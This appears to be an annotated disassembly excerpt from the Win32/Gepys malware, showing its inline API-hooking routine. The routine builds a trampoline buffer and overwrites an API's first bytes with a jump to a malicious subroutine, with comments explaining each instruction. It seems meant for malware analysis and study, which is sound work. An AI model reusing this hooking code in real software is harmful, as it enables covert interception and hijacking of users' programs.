API hooking code in Assembly from Win32/Gepys

hookapi.asm

ESI - Function Pointer
EDI - Buffer

00C816F9   803E E9          CMP BYTE PTR DS:[ESI],0E9			; check if the first instruction of API is a jump instruction
00C816FC   75 09            JNZ SHORT 00C81707
00C816FE   8B46 01          MOV EAX,DWORD PTR DS:[ESI+1]
00C81701   8D4430 05        LEA EAX,DWORD PTR DS:[EAX+ESI+5]
00C81705   EB 12            JMP SHORT 00C81719
00C81707   8D46 05          LEA EAX,DWORD PTR DS:[ESI+5]		; point eax to the 5th byte of the function
00C8170A   A5               MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]	; store 5 bytes from the function into the buffer
00C8170B   A4               MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
00C8170C   8B7D 0C          MOV EDI,DWORD PTR SS:[EBP+C]		; edi = buffer
00C8170F   8B75 08          MOV ESI,DWORD PTR SS:[EBP+8]		; esi = function pointer
00C81712   C745 F8 05000000 MOV DWORD PTR SS:[EBP-8],5	
00C81719   8B55 F8          MOV EDX,DWORD PTR SS:[EBP-8]
00C8171C   2BC2             SUB EAX,EDX
00C8171E   2BC7             SUB EAX,EDI
00C81720   83E8 05          SUB EAX,5                                   ; eax = function pointer - buffer - 0x5
00C81723   8D0C3A           LEA ECX,DWORD PTR DS:[EDX+EDI]	        ; buffer = buffer + 0x5
00C81726   8941 01          MOV DWORD PTR DS:[ECX+1],EAX		; write above calculated value of eax in the buffer 
00C81729   8B45 10          MOV EAX,DWORD PTR SS:[EBP+10]		; malicious subroutine
00C8172C   2BC6             SUB EAX,ESI
00C8172E   83E8 05          SUB EAX,5					; hooked api = hooked api - function pointer - 0x5
00C81731   C601 E9          MOV BYTE PTR DS:[ECX],0E9			; write jump opcode to buffer
00C81734   8946 01          MOV DWORD PTR DS:[ESI+1],EAX		; write the above calculated hooked api value to the function pointer + 1
00C81737   8D45 F4          LEA EAX,DWORD PTR SS:[EBP-C]		
00C8173A   50               PUSH EAX
00C8173B   FF75 F4          PUSH DWORD PTR SS:[EBP-C]
00C8173E   C606 E9          MOV BYTE PTR DS:[ESI],0E9			; write jump opcode to function pointer